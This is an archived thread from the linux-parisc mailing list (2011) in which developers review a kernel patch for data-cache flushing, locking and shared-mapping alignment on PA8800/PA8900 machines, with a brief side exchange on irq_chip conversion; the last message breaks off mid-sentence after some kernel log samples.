	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmrA8-0006Lu-Kq
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Feb 2011 18:15:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755037Ab1BHRPf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Feb 2011 12:15:35 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:4217 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754705Ab1BHRPf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Feb 2011 12:15:35 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DBC544ED8; Tue,  8 Feb 2011 12:15:33 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1295549658.3014.19.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3439
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3439>

On Thu, 20 Jan 2011, James Bottomley wrote:

> On parisc, we never implemented invalidate_kernel_vmap_range() because
> it was unnecessary for the xfs use case.  However, we do need to
> implement an invalidate for the opposite use case (which occurred in a
> recent NFS change) where the user wants to read through the vmap range
> and write via the kernel address.  There's an additional complexity to
> this in that if the page has no userspace mappings, it might have dirty
> cache lines in the kernel (indicated by the PG_dcache_dirty bit).  In
> order to get full coherency, we need to flush these pages through the
> kernel mapping before invalidating the vmap range.

The attached patch greatly improves SMP stability on my rp3440.  I
have now done several full GCC builds with make -j4 without any random
segmentation faults.  This is with the parisc next-for branch, built
with gcc version 4.5.3 20110101 (prerelease) and binutils 2.21.51.20110108.

The change includes James' invalidate_kernel_vmap_range patch which
as of last night, doesn't seem to be in linux-next..

Notes:

1) Changed spin_lock_irq to spin_lock in flush_dcache_mmap_lock because
   the former causes a problem with timer interrupts.
2) Changed update_mmu_cache to return immediately if the PFN is not valid.
   In testing, I found there was always a mapping, so this test was
   eliminated.  I also changed to using test_and_clear_bit as on arm.
3) Added a higher level lock to flush_dcache_page as I found in testing
   that the user mappings appeared to change while the code iterated
   over the user mappings.  Updated comment to better reflect the
   current status WRT inequivalent aliases.  Only updated old_addr
   for shared mappings.  This was simply to suppress the number of
   "INEQUIVALENT" messages.  As noted previously, too many causes the
   console getty process to stop working.  I think it may be possible
   to further optimize this loop.
4) Changed arch_get_unmapped_area to enforce alignment of shared
   MAP_FIXED regions as on arm.

Signed-off-by: John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index dc9286a..d5f1631 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -35,6 +35,13 @@ void flush_cache_all_local(void);
 void flush_cache_all(void);
 void flush_cache_mm(struct mm_struct *mm);
 
+#define ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE
+void flush_kernel_dcache_page_addr(void *addr);
+static inline void flush_kernel_dcache_page(struct page *page)
+{
+	flush_kernel_dcache_page_addr(page_address(page));
+}
+
 #define flush_kernel_dcache_range(start,size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));
 /* vmap range flushes and invalidates.  Architecturally, we don't need
@@ -48,6 +55,16 @@ static inline void flush_kernel_vmap_range(void *vaddr, int size)
 }
 static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
 {
+	unsigned long start = (unsigned long)vaddr;
+	void *cursor = vaddr;
+
+	for ( ; cursor < vaddr + size; cursor += PAGE_SIZE) {
+		struct page *page = vmalloc_to_page(cursor);
+
+		if (test_and_clear_bit(PG_dcache_dirty, &page->flags))
+			flush_kernel_dcache_page(page);
+	}
+	flush_kernel_dcache_range_asm(start, start + size);
 }
 
 #define flush_cache_vmap(start, end)		flush_cache_all()
@@ -57,9 +74,9 @@ static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
 extern void flush_dcache_page(struct page *page);
 
 #define flush_dcache_mmap_lock(mapping) \
-	spin_lock_irq(&(mapping)->tree_lock)
+	spin_lock(&(mapping)->tree_lock)
 #define flush_dcache_mmap_unlock(mapping) \
-	spin_unlock_irq(&(mapping)->tree_lock)
+	spin_unlock(&(mapping)->tree_lock)
 
 #define flush_icache_page(vma,page)	do { 		\
 	flush_kernel_dcache_page(page);			\
@@ -99,13 +116,6 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
 }
 
-#define ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE
-void flush_kernel_dcache_page_addr(void *addr);
-static inline void flush_kernel_dcache_page(struct page *page)
-{
-	flush_kernel_dcache_page_addr(page_address(page));
-}
-
 #ifdef CONFIG_DEBUG_RODATA
 void mark_rodata_ro(void);
 #endif
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 3f11331..fa92dcb 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -75,14 +75,16 @@ EXPORT_SYMBOL(flush_cache_all_local);
 void
 update_mmu_cache(struct vm_area_struct *vma, unsigned long address, pte_t *ptep)
 {
-	struct page *page = pte_page(*ptep);
+        unsigned long pfn = pte_pfn(*ptep);
+        struct page *page;
 
-	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
-	    test_bit(PG_dcache_dirty, &page->flags)) {
+        if (!pfn_valid(pfn))
+                return;
 
-		flush_kernel_dcache_page(page);
-		clear_bit(PG_dcache_dirty, &page->flags);
-	} else if (parisc_requires_coherency())
+        page = pfn_to_page(pfn);
+
+        if (test_and_clear_bit(PG_dcache_dirty, &page->flags)
+	    || parisc_requires_coherency())
 		flush_kernel_dcache_page(page);
 }
 
@@ -295,10 +297,17 @@ void flush_dcache_page(struct page *page)
 	pgoff = page->index << (PAGE_CACHE_SHIFT - PAGE_SHIFT);
 
 	/* We have carefully arranged in arch_get_unmapped_area() that
-	 * *any* mappings of a file are always congruently mapped (whether
-	 * declared as MAP_PRIVATE or MAP_SHARED), so we only need
-	 * to flush one address here for them all to become coherent */
-
+	 * all shared mappings of a file are congruently mapped, so we
+	 * only need to flush one address here for them all to become
+	 * coherent.  However, non shared fixed mappings of executables
+	 * are not congruently mapped on the boundary page between text
+	 * and data.  Further, the data segment sometimes occurs before
+	 * the text segment.  While it is unlikely that a dirty cache
+	 * line would result from accesses through the text mapping,
+	 * it is possible that this could occur since binutils doesn't
+	 * ensure that the data segment starts on a page boundary.  */
+
+	spin_lock(&mapping->i_mmap_lock);
 	flush_dcache_mmap_lock(mapping);
 	vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) {
 		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
@@ -307,11 +316,13 @@ void flush_dcache_page(struct page *page)
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
 			if (old_addr)
-				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
-			old_addr = addr;
+				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *) mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
+			if (mpnt->vm_flags & VM_SHARED)
+				old_addr = addr;
 		}
 	}
 	flush_dcache_mmap_unlock(mapping);
+	spin_unlock(&mapping->i_mmap_lock);
 }
 EXPORT_SYMBOL(flush_dcache_page);
 
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Tue, 08 Feb 2011 11:29:09 -0600
Lines: 71
Approved: news@gmane.org
Message-ID: <1297186150.3088.81.camel@mulgrave.site>
References: <1295549658.3014.19.camel@mulgrave.site>
	 <20110208171532.GA286@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297186158 12431 80.91.229.12 (8 Feb 2011 17:29:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 Feb 2011 17:29:18 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 08 18:29:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmrNJ-0006Xl-GP
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Feb 2011 18:29:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755185Ab1BHR3M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Feb 2011 12:29:12 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35833 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755182Ab1BHR3M (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Feb 2011 12:29:12 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C44688EE0F5;
	Tue,  8 Feb 2011 09:29:11 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id IiU4URw8x1sZ; Tue,  8 Feb 2011 09:29:11 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 646D58EE0D7;
	Tue,  8 Feb 2011 09:29:11 -0800 (PST)
In-Reply-To: <20110208171532.GA286@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3440
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3440>

On Tue, 2011-02-08 at 12:15 -0500, John David Anglin wrote:
> On Thu, 20 Jan 2011, James Bottomley wrote:
> 
> > On parisc, we never implemented invalidate_kernel_vmap_range() because
> > it was unnecessary for the xfs use case.  However, we do need to
> > implement an invalidate for the opposite use case (which occurred in a
> > recent NFS change) where the user wants to read through the vmap range
> > and write via the kernel address.  There's an additional complexity to
> > this in that if the page has no userspace mappings, it might have dirty
> > cache lines in the kernel (indicated by the PG_dcache_dirty bit).  In
> > order to get full coherency, we need to flush these pages through the
> > kernel mapping before invalidating the vmap range.
> 
> The attached patch greatly improves SMP stability on my rp3440.  I
> have now done several full GCC builds with make -j4 without any random
> segmentation faults.  This is with the parisc next-for branch, built
> with gcc version 4.5.3 20110101 (prerelease) and binutils 2.21.51.20110108.
> 
> The change includes James' invalidate_kernel_vmap_range patch which
> as of last night, doesn't seem to be in linux-next..

doing this makes it a bit harder to see what you're changing.  It also
can't possibly affect your testing, because it's an edge case for xfs
journals currently.

> Notes:
> 
> 1) Changed spin_lock_irq to spin_lock in flush_dcache_mmap_lock because
>    the former causes a problem with timer interrupts.

This looks reasonable ... architectures which don't use the lock do
this.  Unfortunately, flush_dcache_page can be called from interrupt
context, so our only choices are to eliminate the lock or to use it in
an interrupt safe manner.  If we use a non interrupt safe lock, it will
cause a deadlock eventually.

> 2) Changed update_mmu_cache to return immediately if the PFN is not valid.
>    In testing, I found there was always a mapping, so this test was
>    eliminated.  I also changed to using test_and_clear_bit as on arm.

This is just an optimisation, so I'm fine with it.

> 3) Added a higher level lock to flush_dcache_page as I found in testing
>    that the user mappings appeared to change while the code iterated
>    over the user mappings.  Updated comment to better reflect the
>    current status WRT inequivalent aliases.  Only updated old_addr
>    for shared mappings.  This was simply to suppress the number of
>    "INEQUIVALENT" messages.  As noted previously, too many causes the
>    console getty process to stop working.  I think it may be possible
>    to further optimize this loop.

So this is a big problem.  The flush_dcache_mmap_lock/unlock is supposed
to be our protection against this.  If that's not working the generic
code is broken.  But I'm not clear what you think is changing.  The lock
protects the mapping prio tree ... that can't change as we iterate
otherwise we'll walk off a stale entry and go boom.  The actual status
of the mappings is allowed to change.

> 4) Changed arch_get_unmapped_area to enforce alignment of shared
>    MAP_FIXED regions as on arm.

This one looks good.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Tue, 8 Feb 2011 18:42:44 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1102081841180.31804@localhost6.localdomain6>
References: <20110206204411.109238550@linutronix.de>  <1297094535.8577.3.camel@mulgrave.site>  <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>  <1297100168.8577.42.camel@mulgrave.site>  <alpine.LFD.2.00.1102071924150.31804@localhost6.localdomain6>
  <1297113986.8577.92.camel@mulgrave.site>  <1297125136.8577.113.camel@mulgrave.site>  <alpine.LFD.2.00.1102081518420.31804@localhost6.localdomain6>  <alpine.LFD.2.00.1102081536080.31804@localhost6.localdomain6> <1297183997.3088.72.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1297186992 17481 80.91.229.12 (8 Feb 2011 17:43:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 Feb 2011 17:43:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 08 18:43:07 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pmrak-0005Ko-MP
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Feb 2011 18:43:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754705Ab1BHRnG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Feb 2011 12:43:06 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:53732 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755241Ab1BHRnF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Feb 2011 12:43:05 -0500
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p18HgipE009282
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 8 Feb 2011 18:42:45 +0100
In-Reply-To: <1297183997.3088.72.camel@mulgrave.site>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED,AWL
	autolearn=failed version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3441
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3441>

On Tue, 8 Feb 2011, James Bottomley wrote:
> On Tue, 2011-02-08 at 15:37 +0100, Thomas Gleixner wrote:
> > Gah. You set it indirect via IRQF_PERCPU with setup/request_irq.
> > 
> > Staring too long into that code makes my brain fuzzy.
> 
> Yes ... know the feeling over the years trying to keep up with the
> various irq schemes.  Got to say, it's a lot easier now: The way parisc
> chips accept interrupts is essentially MSI.  Trying to live in the old
> world modelled on the x86 PIC wasn't fun.
> 
> So did you want me to roll all the fixes together and apply them, or is
> there something else that needs to happen?

All yours. You might want to split out the CHECK... bugfix first.

There will be some minor follow up changes, but they depend on code
which I'm going to push soon.

Thanks,

	tglx
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Tue, 08 Feb 2011 11:45:38 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <1297187138.3088.82.camel@mulgrave.site>
References: <20110206204411.109238550@linutronix.de>
	 <1297094535.8577.3.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>
	 <1297100168.8577.42.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102071924150.31804@localhost6.localdomain6>
	 <1297113986.8577.92.camel@mulgrave.site>
	 <1297125136.8577.113.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102081518420.31804@localhost6.localdomain6>
	 <alpine.LFD.2.00.1102081536080.31804@localhost6.localdomain6>
	 <1297183997.3088.72.camel@mulgrave.site>
	 <alpine.LFD.2.00.1102081841180.31804@localhost6.localdomain6>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297187153 18488 80.91.229.12 (8 Feb 2011 17:45:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 Feb 2011 17:45:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 08 18:45:44 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmrdF-0000I7-Sh
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Feb 2011 18:45:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755229Ab1BHRpl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Feb 2011 12:45:41 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52066 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754705Ab1BHRpk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Feb 2011 12:45:40 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8E0488EE0F5;
	Tue,  8 Feb 2011 09:45:40 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lsp+ggnqaiU5; Tue,  8 Feb 2011 09:45:40 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1ACD48EE0D7;
	Tue,  8 Feb 2011 09:45:40 -0800 (PST)
In-Reply-To: <alpine.LFD.2.00.1102081841180.31804@localhost6.localdomain6>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3442
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3442>

On Tue, 2011-02-08 at 18:42 +0100, Thomas Gleixner wrote:
> On Tue, 8 Feb 2011, James Bottomley wrote:
> > On Tue, 2011-02-08 at 15:37 +0100, Thomas Gleixner wrote:
> > > Gah. You set it indirect via IRQF_PERCPU with setup/request_irq.
> > > 
> > > Staring too long into that code makes my brain fuzzy.
> > 
> > Yes ... know the feeling over the years trying to keep up with the
> > various irq schemes.  Got to say, it's a lot easier now: The way parisc
> > chips accept interrupts is essentially MSI.  Trying to live in the old
> > world modelled on the x86 PIC wasn't fun.
> > 
> > So did you want me to roll all the fixes together and apply them, or is
> > there something else that needs to happen?
> 
> All yours. You might want to split out the CHECK... bugfix first.

Good idea ... you authorise me to do the split and add your
signed-off-by?

> There will be some minor follow up changes, but they depend on code
> which I'm going to push soon.

OK ... we'll wait for those.  I'll plan this for the next merge window.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Tue, 8 Feb 2011 13:45:08 -0500 (EST)
Lines: 81
Approved: news@gmane.org
Message-ID: <20110208184509.2E2C74ED8@hiauly1.hia.nrc.ca>
References: <1297186150.3088.81.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297190752 7801 80.91.229.12 (8 Feb 2011 18:45:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 Feb 2011 18:45:52 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 08 19:45:48 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmsZI-0004gz-Ir
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Feb 2011 19:45:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755581Ab1BHSpL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Feb 2011 13:45:11 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:4265 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755538Ab1BHSpK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Feb 2011 13:45:10 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 2E2C74ED8; Tue,  8 Feb 2011 13:45:09 -0500 (EST)
In-Reply-To: <1297186150.3088.81.camel@mulgrave.site> from "James Bottomley" at Feb 8, 2011 11:29:09 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3443
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3443>

> > The change includes James' invalidate_kernel_vmap_range patch which
> > as of last night, doesn't seem to be in linux-next..
> 
> doing this makes it a bit harder to see what you're changing.  It also
> can't possibly affect your testing, because it's an edge case for xfs
> journals currently.

I'll pull that part out and retest.

> > 1) Changed spin_lock_irq to spin_lock in flush_dcache_mmap_lock because
> >    the former causes a problem with timer interrupts.
> 
> This looks reasonable ... architectures which don't use the lock do
> this.  Unfortunately, flush_dcache_page can be called from interrupt
> context, so our only choices are to eliminate the lock or to use it in
> an interrupt safe manner.  If we use a non interrupt safe lock, it will
> cause a deadlock eventually.

I see occassional slow timer interrupt messages and I suspect the expect
timeouts that I see during the GCC testsuite are also caused by disabling
interrupts for too long.  I also encountered situations in the GCC
build where certain applications (gnat1) would run much longer than
normal (seemed like scheduling was broken).  At the smae time, xntpd
seemed to be consuming more cycles than normal.

Arm has some checks in __flush_dcache_aliase that may eliminate some
flushes and reduce the time interrupts are disabled in flush_dcache_page,
but I don't trust the VM_MAYSHARE one.

> > 3) Added a higher level lock to flush_dcache_page as I found in testing
> >    that the user mappings appeared to change while the code iterated
> >    over the user mappings.  Updated comment to better reflect the
> >    current status WRT inequivalent aliases.  Only updated old_addr
> >    for shared mappings.  This was simply to suppress the number of
> >    "INEQUIVALENT" messages.  As noted previously, too many causes the
> >    console getty process to stop working.  I think it may be possible
> >    to further optimize this loop.
> 
> So this is a big problem.  The flush_dcache_mmap_lock/unlock is supposed
> to be our protection against this.  If that's not working the generic
> code is broken.  But I'm not clear what you think is changing.  The lock
> protects the mapping prio tree ... that can't change as we iterate
> otherwise we'll walk off a stale entry and go boom.  The actual status
> of the mappings is allowed to change.

Specifically, what led me to assume that there was an issue with the
code as is was various "INEQUIVALENT" messages with a difference between
old_addr and addr of 0x150000.  This is the only difference other
than +/- 0x1000 that I have seen.  The GCC libmudflap testsuite triggers
a number of these odd messages.  Here's some samples.

Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x4014b000 and 0x4014a000 in file ld-2.11.2.so
Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406b8000 and 0x40568000 in file libc-2.11.2.so
Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406b9000 and 0x40569000 in file libc-2.11.2.so
Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406ba000 and 0x4056a000 in file libc-2.11.2.so
Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406bb000 and 0x4056b000 in file libc-2.11.2.so
Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406bc000 and 0x4056c000 in file libc-2.11.2.so
Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406bd000 and 0x4056d000 in file libc-2.11.2.so
Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406be000 and 0x4056e000 in file libc-2.11.2.so
Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406bf000 and 0x4056f000 in file libc-2.11.2.so
Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406c1000 and 0x406c0000 in file libc-2.11.2.so

The messages occur because there is a core dump when the test is run is
